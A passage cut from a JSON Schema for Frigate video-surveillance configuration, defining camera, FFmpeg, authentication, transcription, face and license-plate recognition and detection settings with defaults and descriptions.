"exclusiveMaximum": 1.0, "minimum": 0.5, "title": "Minimum audio confidence", "type": "number"}}, "title": "AudioFilterConfig", "type": "object"}, "AudioTranscriptionConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable or disable automatic audio transcription for all cameras; can be overridden per-camera.", "title": "Enable audio transcription", "type": "boolean"}, "language": {"default": "auto", "description": "Language code used for transcription/translation (for example 'en' for English), or 'auto' to let the model detect it. See https://whisper-api.com/docs/languages/ for supported language codes.", "title": "Transcription language", "type": "string"}, "model": {"anyOf": [{"$ref": "#/$defs/AudioTranscriptionModelEnum"}, {"type": "string"}, {"type": "null"}], "default": "whisper", "description": "The transcription backend: 'whisper' for Frigate's built-in local models, or the name of a GenAI provider with the transcribe role.", "title": "Audio transcription model or GenAI provider name"}, "device": {"$ref": "#/$defs/EnrichmentsDeviceEnum", "default": "CPU", "description": "Device key (CPU/GPU) to run the transcription model on. Only NVIDIA CUDA GPUs are currently supported for transcription.", "title": "Transcription device"}, "model_size": {"$ref": "#/$defs/ModelSizeEnum", "default": "small", "description": "Model size to use for offline audio event transcription.", "title": "Model size"}, "live_enabled": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": false, "description": "Enable streaming live transcription for audio as it is received.", "title": "Live transcription"}}, "title": "AudioTranscriptionConfig", "type": "object"}, "AudioTranscriptionModelEnum": {"enum": ["whisper"], "title": "AudioTranscriptionModelEnum", "type": "string"}, "AuthConfig": {"additionalProperties": false, "properties": {"enabled": {"default": true, "description": "Enable native authentication for the Frigate UI.", "title": "Enable authentication", "type": "boolean"}, "reset_admin_password": {"default": false, "description": "If true, reset the admin user's password on startup and print the new password in logs.", "title": "Reset admin password", "type": "boolean"}, "cookie_name": {"default": "frigate_token", "description": "Name of the cookie used to store the JWT token for native authentication.", "pattern": "^[a-z_]+$", "title": "JWT cookie name", "type": "string"}, "cookie_secure": {"default": false, "description": "Always set the secure flag on the auth cookie. Frigate sets it automatically when serving TLS; enable this when a reverse proxy terminates TLS in front of Frigate. A proxy that connects to the TLS port must serve Frigate to browsers over HTTPS.", "title": "Secure cookie flag", "type": "boolean"}, "session_length": {"default": 86400, "description": "Session duration in seconds for JWT-based sessions.", "minimum": 60, "title": "Session length", "type": "integer"}, "refresh_time": {"default": 1800, "description": "When a session is within this many seconds of expiring, refresh it back to full length.", "minimum": 30, "title": "Session refresh window", "type": "integer"}, "failed_login_rate_limit": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Rate limiting rules for failed login attempts to reduce brute-force attacks.", "title": "Failed login limits"}, "trusted_proxies": {"default": [], "description": "List of trusted proxy IPs used when determining client IP for rate limiting.", "items": {"type": "string"}, "title": "Trusted proxies", "type": "array"}, "hash_iterations": {"default": 600000, "description": "Number of PBKDF2-SHA256 iterations to use when hashing user passwords.", "title": "Hash iterations", "type": "integer"}, "roles": {"additionalProperties": {"items": {"type": "string"}, "type": "array"}, "description": "Map roles to camera lists. An empty list grants access to all cameras for the role.", "title": "Role mappings", "type": "object"}, "admin_first_time_login": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": false, "description": "When true the UI may show a help link on the login page informing users how to sign in after an admin password reset. ", "title": "First-time admin flag"}}, "title": "AuthConfig", "type": "object"}, "BirdClassificationConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable or disable bird classification.", "title": "Bird classification", "type": "boolean"}, "threshold": {"default": 0.9, "description": "Minimum classification score required to accept a bird classification.", "exclusiveMinimum": 0.0, "maximum": 1.0, "title": "Minimum score", "type": "number"}}, "title": "BirdClassificationConfig", "type": "object"}, "BirdseyeCameraConfig": {"properties": {"enabled": {"default": true, "description": "Enable or disable the Birdseye view feature.", "title": "Enable Birdseye", "type": "boolean"}, "modes": {"description": "Activity types that include cameras in Birdseye.", "items": {"$ref": "#/$defs/BirdseyeModeEnum"}, "title": "Activity types", "type": "array"}, "order": {"default": 0, "description": "Numeric position controlling the camera's ordering in the Birdseye layout.", "title": "Position", "type": "integer"}}, "title": "BirdseyeCameraConfig", "type": "object"}, "BirdseyeConfig": {"additionalProperties": false, "properties": {"enabled": {"default": true, "description": "Enable or disable the Birdseye view feature.", "title": "Enable Birdseye", "type": "boolean"}, "modes": {"description": "Activity types that include cameras in Birdseye.", "items": {"$ref": "#/$defs/BirdseyeModeEnum"}, "title": "Activity types", "type": "array"}, "restream": {"default": false, "description": "Re-stream the Birdseye output as an RTSP feed; enabling this will keep Birdseye running continuously.", "title": "Restream RTSP", "type": "boolean"}, "width": {"default": 1280, "description": "Output width (pixels) of the composed Birdseye frame.", "title": "Width", "type": "integer"}, "height": {"default": 720, "description": "Output height (pixels) of the composed Birdseye frame.", "title": "Height", "type": "integer"}, "quality": {"default": 8, "description": "Encoding quality for the Birdseye mpeg1 feed (1 highest quality, 31 lowest).", "maximum": 31, "minimum": 1, "title": "Encoding quality", "type": "integer"}, "inactivity_threshold": {"default": 30, "description": "Seconds of inactivity after which a camera will stop being shown in Birdseye.", "exclusiveMinimum": 0, "title": "Inactivity threshold", "type": "integer"}, "layout": {"$ref": "#/$defs/BirdseyeLayoutConfig", "description": "Layout options for the Birdseye composition.", "title": "Layout"}, "idle_heartbeat_fps": {"default": 0.0, "description": "Frames-per-second to resend the last composed Birdseye frame when idle; set to 0 to disable.", "maximum": 10.0, "minimum": 0.0, "title": "Idle heartbeat FPS", "type": "number"}}, "title": "BirdseyeConfig", "type": "object"}, "BirdseyeLayoutConfig": {"additionalProperties": false, "properties": {"scaling_factor": {"default": 2.0, "description": "Scaling factor used by the layout calculator (range 1.0 to 5.0).", "maximum": 5.0, "minimum": 1.0, "title": "Scaling factor", "type": "number"}, "max_cameras": {"anyOf": [{"type": "integer"}, {"type": "null"}], "default": null, "description": "Maximum number of cameras to display at once in Birdseye; shows the most recent cameras.", "title": "Max cameras"}}, "title": "BirdseyeLayoutConfig", "type": "object"}, "BirdseyeModeEnum": {"enum": ["continuous", "motion", "all_objects", "alerts", "detections"], "title": "BirdseyeModeEnum", "type": "string"}, "CameraAudioTranscriptionConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable or disable manually triggered audio event transcription.", "title": "Enable transcription", "type": "boolean"}, "enabled_in_config": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": null, "title": "Original transcription state"}, "live_enabled": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": false, "description": "Enable streaming live transcription for audio as it is received.", "title": "Live transcription"}}, "title": "CameraAudioTranscriptionConfig", "type": "object"}, "CameraConfig": {"additionalProperties": false, "properties": {"name": {"anyOf": [{"pattern": "^[a-zA-Z0-9_-]+$", "type": "string"}, {"type": "null"}], "default": null, "description": "Camera name is required", "title": "Camera name"}, "friendly_name": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Camera friendly name used in the Frigate UI", "title": "Friendly name"}, "enabled": {"default": true, "description": "Enabled", "title": "Enabled", "type": "boolean"}, "audio": {"$ref": "#/$defs/AudioConfig", "description": "Settings for audio-based event detection for this camera.", "title": "Audio detection"}, "audio_transcription": {"$ref": "#/$defs/CameraAudioTranscriptionConfig", "description": "Settings for live and speech audio transcription used for events and live captions.", "title": "Audio transcription"}, "birdseye": {"$ref": "#/$defs/BirdseyeCameraConfig", "description": "Settings for the Birdseye composite view that composes multiple camera feeds into a single layout.", "title": "Birdseye"}, "detect": {"$ref": "#/$defs/DetectConfig", "description": "Settings for the detection/detect role used to run object detection and initialize trackers.", "title": "Object Detection"}, "face_recognition": {"$ref": "#/$defs/CameraFaceRecognitionConfig", "description": "Settings for face detection and recognition for this camera.", "title": "Face recognition"}, "ffmpeg": {"$ref": "#/$defs/CameraFfmpegConfig", "description": "Camera stream inputs and FFmpeg options, including binary path, args, hwaccel, and per-role output args.", "title": "Streams (FFmpeg)"}, "live": {"$ref": "#/$defs/CameraLiveConfig", "description": "Settings used by the Web UI to control live stream selection, resolution and quality.", "title": "Live playback"}, "lpr": {"$ref": "#/$defs/CameraLicensePlateRecognitionConfig", "description": "License plate recognition settings including detection thresholds, formatting, and known plates.", "title": "License Plate Recognition"}, "motion": {"$ref": "#/$defs/MotionConfig", "default": null, "description": "Default motion detection settings for this camera.", "title": "Motion detection"}, "objects": {"$ref": "#/$defs/ObjectConfig", "description": "Object tracking defaults including which labels to track and per-object filters.", "title": "Objects"}, "record": {"$ref": "#/$defs/RecordConfig", "description": "Recording and retention settings for this camera.", "title": "Recording"}, "review": {"$ref": "#/$defs/ReviewConfig", "description": "Settings that control alerts, detections, and GenAI review summaries used by the UI and storage for this camera.", "title": "Review"}, "semantic_search": {"$ref": "#/$defs/CameraSemanticSearchConfig", "description": "Settings for semantic search which builds and queries object embeddings to find similar items.", "title": "Semantic Search"}, "snapshots": {"$ref": "#/$defs/SnapshotsConfig", "description": "Settings for API-generated snapshots of tracked objects for this camera.", "title": "Snapshots"}, "timestamp_style": {"$ref": "#/$defs/TimestampStyleConfig", "description": "Styling options for timestamps applied to snapshots and Debug view.", "title": "Timestamp style"}, "best_image_timeout": {"default": 60, "description": "How long to wait for the image with the highest confidence score.", "title": "Best image timeout", "type": "integer"}, "mqtt": {"$ref": "#/$defs/CameraMqttConfig", "description": "MQTT image publishing settings.", "title": "MQTT"}, "notifications": {"$ref": "#/$defs/NotificationConfig", "description": "Settings to enable and control notifications for this camera.", "title": "Notifications"}, "onvif": {"$ref": "#/$defs/OnvifConfig", "description": "ONVIF connection and PTZ autotracking settings for this camera.", "title": "ONVIF"}, "type": {"$ref": "#/$defs/CameraTypeEnum", "default": "generic", "description": "Camera Type", "title": "Camera type"}, "ui": {"$ref": "#/$defs/CameraUiConfig", "description": "Display ordering and visibility for this camera in the UI. Ordering affects the default dashboard. For more granular control, use camera groups.", "title": "Camera UI"}, "webui_url": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "URL to visit the camera directly from system page", "title": "Camera URL"}, "profiles": {"additionalProperties": {"$ref": "#/$defs/CameraProfileConfig"}, "description": "Named config profiles with partial overrides that can be activated at runtime.", "title": "Profiles", "type": "object"}, "zones": {"additionalProperties": {"$ref": "#/$defs/ZoneConfig"}, "description": "Zones allow you to define a specific area of the frame so you can determine whether or not an object is within a particular area.", "title": "Zones", "type": "object"}, "enabled_in_config": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": null, "description": "Keep track of original state of camera.", "title": "Original camera state"}}, "required": ["ffmpeg"], "title": "CameraConfig", "type": "object"}, "CameraFaceRecognitionConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable or disable face recognition.", "title": "Enable face recognition", "type": "boolean"}, "min_area": {"default": 750, "description": "Minimum area (pixels) of a detected face box required to attempt recognition.", "title": "Minimum face area", "type": "integer"}}, "title": "CameraFaceRecognitionConfig", "type": "object"}, "CameraFfmpegConfig": {"additionalProperties": false, "properties": {"path": {"default": "default", "description": "Path to the FFmpeg binary to use or a version alias (\"7.0\" or \"8.0\").", "title": "FFmpeg path", "type": "string"}, "global_args": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "default": ["-hide_banner", "-loglevel", "warning", "-threads", "2"], "description": "Global arguments passed to FFmpeg processes.", "title": "FFmpeg global arguments"}, "hwaccel_args": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "default": "auto", "description": "Hardware acceleration arguments for FFmpeg. Provider-specific presets are recommended.", "title": "Hardware acceleration arguments"}, "input_args": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "default": "preset-rtsp-generic", "description": "Input arguments applied to FFmpeg input streams.", "title": "Input arguments"}, "output_args": {"$ref": "#/$defs/FfmpegOutputArgsConfig", "description": "Default output arguments used for different FFmpeg roles such as detect and record.", "title": "Output arguments"}, "retry_interval": {"default": 10.0, "description": "Seconds to wait before attempting to reconnect a camera stream after failure. Default is 10.", "exclusiveMinimum": 0.0, "title": "FFmpeg retry time", "type": "number"}, "apple_compatibility": {"default": false, "description": "Enable HEVC tagging for better Apple player compatibility when recording H.265.", "title": "Apple compatibility", "type": "boolean"}, "gpu": {"default": 0, "description": "Default GPU index used for hardware acceleration if available.", "title": "GPU index", "type": "integer"}, "inputs": {"description": "List of input stream definitions (paths and roles) for this camera.", "items": {"$ref": "#/$defs/CameraInput"}, "title": "Camera inputs", "type": "array"}}, "required": ["inputs"], "title": "CameraFfmpegConfig", "type": "object"}, "CameraGroupConfig": {"additionalProperties": false, "properties": {"cameras": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "description": "Array of camera names included in this group.", "title": "Camera list"}, "icon": {"default": "generic", "description": "Icon used to represent the camera group in the UI.", "title": "Group icon", "type": "string"}, "order": {"default": 0, "description": "Numeric order used to sort camera groups in the UI; larger numbers appear later.", "title": "Sort order", "type": "integer"}}, "title": "CameraGroupConfig", "type": "object"}, "CameraInput": {"additionalProperties": false, "properties": {"path": {"description": "Camera input stream URL or path.", "title": "Input path", "type": "string"}, "roles": {"description": "Roles for this input stream.", "items": {"$ref": "#/$defs/CameraRoleEnum"}, "title": "Input roles", "type": "array"}, "global_args": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "description": "FFmpeg global arguments for this input stream.", "title": "FFmpeg global arguments"}, "hwaccel_args": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "description": "Hardware acceleration arguments for this input stream.", "title": "Hardware acceleration arguments"}, "input_args": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "description": "Input arguments specific to this stream.", "title": "Input arguments"}}, "required": ["path", "roles"], "title": "CameraInput", "type": "object"}, "CameraLicensePlateRecognitionConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable or disable LPR on this camera.", "title": "Enable LPR", "type": "boolean"}, "expire_time": {"default": 3, "description": "Time in seconds after which an unseen plate is expired from the tracker (for dedicated LPR cameras only).", "exclusiveMinimum": 0, "title": "Expire seconds", "type": "integer"}, "min_area": {"default": 1000, "description": "Minimum plate area (pixels) required to attempt recognition.", "title": "Minimum plate area", "type": "integer"}, "enhancement": {"default": 0, "description": "Enhancement level (0-10) to apply to plate crops prior to OCR; higher values may not always improve results, levels above 5 may only work with night time plates and should be used with caution.", "maximum": 10, "minimum": 0, "title": "Enhancement level", "type": "integer"}}, "title": "CameraLicensePlateRecognitionConfig", "type": "object"}, "CameraLiveConfig": {"additionalProperties": false, "properties": {"streams": {"additionalProperties": {"type": "string"}, "description": "Mapping of configured stream names to restream/go2rtc names used for live playback.", "title": "Live stream names", "type": "object"}, "transcode": {"$ref": "#/$defs/LiveTranscodeConfig", "description": "Lower-quality live streams transcoded on demand by go2rtc.", "title": "Transcoded streams"}, "height": {"default": 720, "description": "Height (pixels) to render the jsmpeg live stream in the Web UI; must be <= detect stream height.", "title": "Live height", "type": "integer"}, "quality": {"default": 8, "description": "Encoding quality for the jsmpeg stream (1 highest, 31 lowest).", "maximum": 31, "minimum": 1, "title": "Live quality", "type": "integer"}}, "title": "CameraLiveConfig", "type": "object"}, "CameraMqttConfig": {"additionalProperties": false, "properties": {"enabled": {"default": true, "description": "Enable publishing image snapshots for objects to MQTT topics for this camera.", "title": "Send image", "type": "boolean"}, "timestamp": {"default": true, "description": "Overlay a timestamp on images published to MQTT.", "title": "Add timestamp", "type": "boolean"}, "bounding_box": {"default": true, "description": "Draw bounding boxes on images published over MQTT.", "title": "Add bounding box", "type": "boolean"}, "crop": {"default": true, "description": "Crop images published to MQTT to the detected object's bounding box.", "title": "Crop image", "type": "boolean"}, "height": {"default": 270, "description": "Height (pixels) to resize images published over MQTT.", "title": "Image height", "type": "integer"}, "required_zones": {"description": "Zones that an object must enter for an MQTT image to be published.", "items": {"type": "string"}, "title": "Required zones", "type": "array"}, "quality": {"default": 70, "description": "JPEG quality for images published to MQTT (0-100).", "maximum": 100, "minimum": 0, "title": "JPEG quality", "type": "integer"}}, "title": "CameraMqttConfig", "type": "object"}, "CameraProfileConfig": {"additionalProperties": false, "description": "A named profile containing partial camera config overrides.\n\nSections set to None inherit from the camera's base config.\nSections that are defined get Pydantic-validated, then only\nexplicitly-set fields are used as overrides via exclude_unset.", "properties": {"enabled": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": null, "title": "Enabled"}, "audio": {"anyOf": [{"$ref": "#/$defs/AudioConfig"}, {"type": "null"}], "default": null}, "birdseye": {"anyOf": [{"$ref": "#/$defs/BirdseyeCameraConfig"}, {"type": "null"}], "default": null}, "detect": {"anyOf": [{"$ref": "#/$defs/DetectConfig"}, {"type": "null"}], "default": null}, "face_recognition": {"anyOf": [{"$ref": "#/$defs/CameraFaceRecognitionConfig"}, {"type": "null"}], "default": null}, "lpr": {"anyOf": [{"$ref": "#/$defs/CameraLicensePlateRecognitionConfig"}, {"type": "null"}], "default": null}, "motion": {"anyOf": [{"$ref": "#/$defs/MotionConfig"}, {"type": "null"}], "default": null}, "notifications": {"anyOf": [{"$ref": "#/$defs/NotificationConfig"}, {"type": "null"}], "default": null}, "objects": {"anyOf": [{"$ref": "#/$defs/ObjectConfig"}, {"type": "null"}], "default": null}, "record": {"anyOf": [{"$ref": "#/$defs/RecordConfig"}, {"type": "null"}], "default": null}, "review": {"anyOf": [{"$ref": "#/$defs/ReviewConfig"}, {"type": "null"}], "default": null}, "snapshots": {"anyOf": [{"$ref": "#/$defs/SnapshotsConfig"}, {"type": "null"}], "default": null}, "zones": {"anyOf": [{"additionalProperties": {"$ref": "#/$defs/ZoneConfig"}, "type": "object"}, {"type": "null"}], "default": null, "title": "Zones"}}, "title": "CameraProfileConfig", "type": "object"}, "CameraRoleEnum": {"enum": ["audio", "record", "record_sub", "detect"], "title": "CameraRoleEnum", "type": "string"}, "CameraSemanticSearchConfig": {"additionalProperties": false, "properties": {"triggers": {"additionalProperties": {"$ref": "#/$defs/TriggerConfig"}, "default": {}, "description": "Actions and matching criteria for camera-specific semantic search triggers.", "title": "Triggers", "type": "object"}}, "title": "CameraSemanticSearchConfig", "type": "object"}, "CameraTypeEnum": {"enum": ["generic", "lpr"], "title": "CameraTypeEnum", "type": "string"}, "CameraUiConfig": {"additionalProperties": false, "properties": {"order": {"default": 0, "description": "Numeric order used to sort the camera in the UI (default dashboard and lists); larger numbers appear later.", "title": "UI order", "type": "integer"}, "dashboard": {"default": true, "description": "Toggle whether this camera is visible on the default All Cameras live dashboard. The camera remains available everywhere else in the UI, including camera groups and settings.", "title": "Show on Live dashboard", "type": "boolean"}, "review": {"default": true, "description": "Toggle whether this camera is visible in review (the review page and its camera filter, motion review, and the history view).", "title": "Show in review", "type": "boolean"}}, "title": "CameraUiConfig", "type": "object"}, "ChaptersEnum": {"enum": ["none", "recording_segments", "review_items"], "title": "ChaptersEnum", "type": "string"}, "ClassificationConfig": {"additionalProperties": false, "properties": {"bird": {"$ref": "#/$defs/BirdClassificationConfig", "description": "Settings specific to bird classification models.", "title": "Bird classification config"}, "custom": {"additionalProperties": {"$ref": "#/$defs/CustomClassificationConfig"}, "default": {}, "description": "Configuration for custom classification models used for objects or state detection.", "title": "Custom Classification Models", "type": "object"}}, "title": "ClassificationConfig", "type": "object"}, "ColorConfig": {"additionalProperties": false, "properties": {"red": {"default": 255, "description": "Red component (0-255) for timestamp color.", "maximum": 255, "minimum": 0, "title": "Red", "type": "integer"}, "green": {"default": 255, "description": "Green component (0-255) for timestamp color.", "maximum": 255, "minimum": 0, "title": "Green", "type": "integer"}, "blue": {"default": 255, "description": "Blue component (0-255) for timestamp color.", "maximum": 255, "minimum": 0, "title": "Blue", "type": "integer"}}, "title": "ColorConfig", "type": "object"}, "CustomClassificationConfig": {"additionalProperties": false, "properties": {"enabled": {"default": true, "description": "Enable or disable the custom classification model.", "title": "Enable model", "type": "boolean"}, "name": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Identifier for the custom classification model to use.", "title": "Model name"}, "threshold": {"default": 0.8, "description": "Score threshold used to change the classification state.", "title": "Score threshold", "type": "number"}, "save_attempts": {"anyOf": [{"minimum": 0, "type": "integer"}, {"type": "null"}], "default": null, "description": "How many classification attempts to save for recent classifications UI.", "title": "Save attempts"}, "object_config": {"anyOf": [{"$ref": "#/$defs/CustomClassificationObjectConfig"}, {"type": "null"}], "default": null}, "state_config": {"anyOf": [{"$ref": "#/$defs/CustomClassificationStateConfig"}, {"type": "null"}], "default": null}}, "title": "CustomClassificationConfig", "type": "object"}, "CustomClassificationObjectConfig": {"additionalProperties": false, "properties": {"objects": {"description": "List of object types to run object classification on.", "items": {"type": "string"}, "title": "Classify objects", "type": "array"}, "classification_type": {"$ref": "#/$defs/ObjectClassificationType", "default": "sub_label", "description": "Classification type applied: 'sub_label' (adds sub_label) or other supported types.", "title": "Classification type"}}, "title": "CustomClassificationObjectConfig", "type": "object"}, "CustomClassificationStateCameraConfig": {"additionalProperties": false, "properties": {"crop": {"description": "Crop coordinates to use for running classification on this camera.", "items": {"type": "number"}, "title": "Classification crop", "type": "array"}}, "required": ["crop"], "title": "CustomClassificationStateCameraConfig", "type": "object"}, "CustomClassificationStateConfig": {"additionalProperties": false, "properties": {"cameras": {"additionalProperties": {"$ref": "#/$defs/CustomClassificationStateCameraConfig"}, "description": "Per-camera crop and settings for running state classification.", "title": "Classification cameras", "type": "object"}, "motion": {"default": false, "description": "If true, run classification when motion is detected within the specified crop.", "title": "Run on motion", "type": "boolean"}, "interval": {"anyOf": [{"exclusiveMinimum": 0, "type": "integer"}, {"type": "null"}], "default": null, "description": "Interval (seconds) between periodic classification runs for state classification.", "title": "Classification interval"}}, "required": ["cameras"], "title": "CustomClassificationStateConfig", "type": "object"}, "DatabaseConfig": {"additionalProperties": false, "properties": {"path": {"default": "/config/frigate.db", "description": "Filesystem path where the Frigate SQLite database file will be stored.", "title": "Database path", "type": "string"}}, "title": "DatabaseConfig", "type": "object"}, "DetectConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable or disable object detection for all cameras; can be overridden per-camera.", "title": "Enable object detection", "type": "boolean"}, "height": {"anyOf": [{"type": "integer"}, {"type": "null"}], "default": null, "description": "Height (pixels) of frames used for the detect stream; leave empty to use the native stream resolution.", "title": "Detect height"}, "width": {"anyOf": [{"type": "integer"}, {"type": "null"}], "default": null, "description": "Width (pixels) of frames used for the detect stream; leave empty to use the native stream resolution.", "title": "Detect width"}, "scene": {"default": "default", "description": "The environment this camera looks at, used to pick which of the configured models runs on it. Cameras left on 'default' run the model configured with a scene of 'default'.", "pattern": "^[A-Za-z0-9_-]+$", "title": "Detect scene", "type": "string"}, "fps": {"default": 5, "description": "Desired frames per second to run detection on; lower values reduce CPU usage (recommended value is 5, only set higher - at most 10 - if tracking extremely fast moving objects).", "title": "Detect FPS", "type": "integer"}, "min_initialized": {"anyOf": [{"minimum": 2, "type": "integer"}, {"type": "null"}], "default": null, "description": "Number of consecutive detection hits required before creating a tracked object. Increase to reduce false initializations. Default value is fps divided by 2.", "title": "Minimum initialization frames"}, "max_disappeared": {"anyOf": [{"type": "integer"}, {"type": "null"}], "default": null, "description": "Number of frames without a detection before a tracked object is considered gone.", "title": "Maximum disappeared frames"}, "stationary": {"$ref": "#/$defs/StationaryConfig", "description": "Settings to detect and manage objects that remain stationary for a period of time.", "title": "Stationary objects config"}, "annotation_offset": {"default": 0, "description": "Milliseconds to shift detect annotations to better align timeline bounding boxes with recordings; can be positive or negative.", "title": "Annotation offset", "type": "integer"}}, "title": "DetectConfig", "type": "object"}, "DetectionsConfig": {"additionalProperties": false, "description": "Configure detections", "properties": {"enabled": {"default": true, "description": "Enable or disable detection events for all cameras; can be overridden per-camera.", "title": "Enable detections", "type": "boolean"}, "labels": {"anyOf": [{"items": {"type": "string"}, "type": "array"}, {"type": "null"}], "default": null, "description": "List of object labels that qualify as detection events.", "title": "Detection labels"}, "required_zones": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "description": "Zones that an object must enter to be considered a detection; leave empty to allow any zone.", "title": "Required zones"}, "cutoff_time": {"default": 30, "description": "Seconds to wait after no detection-causing activity before cutting off a detection.", "title": "Detections cutoff time", "type": "integer"}, "enabled_in_config": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": null, "description": "Tracks whether detections were originally enabled in the static configuration.", "title": "Original detections state"}}, "title": "DetectionsConfig", "type": "object"}, "EnrichmentsDeviceEnum": {"enum": ["GPU", "CPU"], "title": "EnrichmentsDeviceEnum", "type": "string"}, "EventsConfig": {"additionalProperties": false, "properties": {"pre_capture": {"default": 5, "description": "Number of seconds before the detection event to include in the recording.", "maximum": 60, "minimum": 0, "title": "Pre-capture seconds", "type": "integer"}, "post_capture": {"default": 5, "description": "Number of seconds after the detection event to include in the recording.", "minimum": 0, "title": "Post-capture seconds", "type": "integer"}, "retain": {"$ref": "#/$defs/ReviewRetainConfig", "description": "Retention settings for recordings of detection events.", "title": "Event retention"}}, "title": "EventsConfig", "type": "object"}, "FaceRecognitionConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable or disable face recognition for all cameras; can be overridden per-camera.", "title": "Enable face recognition", "type": "boolean"}, "model_size": {"$ref": "#/$defs/ModelSizeEnum", "default": "small", "description": "Model size to use for face embeddings (small/large); larger may require GPU.", "title": "Model size"}, "unknown_score": {"default": 0.8, "description": "Distance threshold below which a face is considered a potential match (higher = stricter).", "exclusiveMinimum": 0.0, "maximum": 1.0, "title": "Unknown score threshold", "type": "number"}, "detection_threshold": {"default": 0.7, "description": "Minimum detection confidence required to consider a face detection valid.", "exclusiveMinimum": 0.0, "maximum": 1.0, "title": "Detection threshold", "type": "number"}, "recognition_threshold": {"default": 0.9, "description": "Face embedding distance threshold to consider two faces a match.", "exclusiveMinimum": 0.0, "maximum": 1.0, "title": "Recognition threshold", "type": "number"}, "min_area": {"default": 750, "description": "Minimum area (pixels) of a detected face box required to attempt recognition.", "title": "Minimum face area", "type": "integer"}, "min_faces": {"default": 1, "description": "Minimum number of face recognitions required before applying a recognized sub-label to a person.", "exclusiveMinimum": 0, "maximum": 6, "title": "Minimum faces", "type": "integer"}, "save_attempts": {"default": 200, "description": "Number of face recognition attempts to retain for recent recognition UI.", "minimum": 0, "title": "Save attempts", "type": "integer"}, "blur_confidence_filter": {"default": true, "description": "Adjust confidence scores based on image blur to reduce false positives for poor quality faces.", "title": "Blur confidence filter", "type": "boolean"}, "device": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "This is an override, to target a specific device. See https://onnxruntime.ai/docs/execution-providers/ for more information", "title": "Device"}}, "title": "FaceRecognitionConfig", "type": "object"}, "FfmpegConfig": {"additionalProperties": false, "properties": {"path": {"default": "default", "description": "Path to the FFmpeg binary to use or a version alias (\"7.0\" or \"8.0\").", "title": "FFmpeg path", "type": "string"}, "global_args": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "default": ["-hide_banner", "-loglevel", "warning", "-threads", "2"], "description": "Global arguments passed to FFmpeg processes.", "title": "FFmpeg global arguments"}, "hwaccel_args": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "default": "auto", "description": "Hardware acceleration arguments for FFmpeg. Provider-specific presets are recommended.", "title": "Hardware acceleration arguments"}, "input_args": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "default": "preset-rtsp-generic", "description": "Input arguments applied to FFmpeg input streams.", "title": "Input arguments"}, "output_args": {"$ref": "#/$defs/FfmpegOutputArgsConfig", "description": "Default output arguments used for different FFmpeg roles such as detect and record.", "title": "Output arguments"}, "retry_interval": {"default": 10.0, "description": "Seconds to wait before attempting to reconnect a camera stream after failure. Default is 10.", "exclusiveMinimum": 0.0, "title": "FFmpeg retry time", "type": "number"}, "apple_compatibility": {"default": false, "description": "Enable HEVC tagging for better Apple player compatibility when recording H.265.", "title": "Apple compatibility", "type": "boolean"}, "gpu": {"default": 0, "description": "Default GPU index used for hardware acceleration if available.", "title": "GPU index", "type": "integer"}}, "title": "FfmpegConfig", "type": "object"}, "FfmpegOutputArgsConfig": {"additionalProperties": false, "properties": {"detect": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "default": ["-threads", "2", "-f", "rawvideo", "-pix_fmt", "yuv420p"], "description": "Default output arguments for detect role streams.", "title": "Detect output arguments"}, "record": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "default": "preset-record-generic-audio-aac", "description": "Default output arguments for record role streams.", "title": "Record output arguments"}, "record_sub": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "description": "Output arguments for record_sub role streams. The record output arguments are used when this is not set.", "title": "Sub stream record output arguments"}}, "title": "FfmpegOutputArgsConfig", "type": "object"}, "FilterConfig": {"additionalProperties": false, "properties": {"min_area": {"anyOf": [{"type": "integer"}, {"type": "number"}], "default": 0, "description": "Minimum bounding box area (pixels or percentage) required for this object type. Can be pixels (int) or percentage (float between 0.000001 and 0.99).", "title": "Minimum object area"}, "max_area": {"anyOf": [{"type": "integer"}, {"type": "number"}], "default": 24000000, "description": "Maximum bounding box area (pixels or percentage) allowed for this object type. Can be pixels (int) or percentage (float between 0.000001 and 0.99).", "title": "Maximum object area"}, "min_ratio": {"default": 0, "description": "Minimum width/height ratio required for the bounding box to qualify.", "title": "Minimum aspect ratio", "type": "number"}, "max_ratio": {"default": 24000000, "description": "Maximum width/height ratio allowed for the bounding box to qualify.", "title": "Maximum aspect ratio", "type": "number"}, "threshold": {"default": 0.7, "description": "Average detection confidence threshold required for the object to be considered a true positive.", "title": "Confidence threshold", "type": "number"}, "min_score": {"default": 0.5, "description": "Minimum single-frame detection confidence required for the object to be counted.", "title": "Minimum confidence", "type": "number"}, 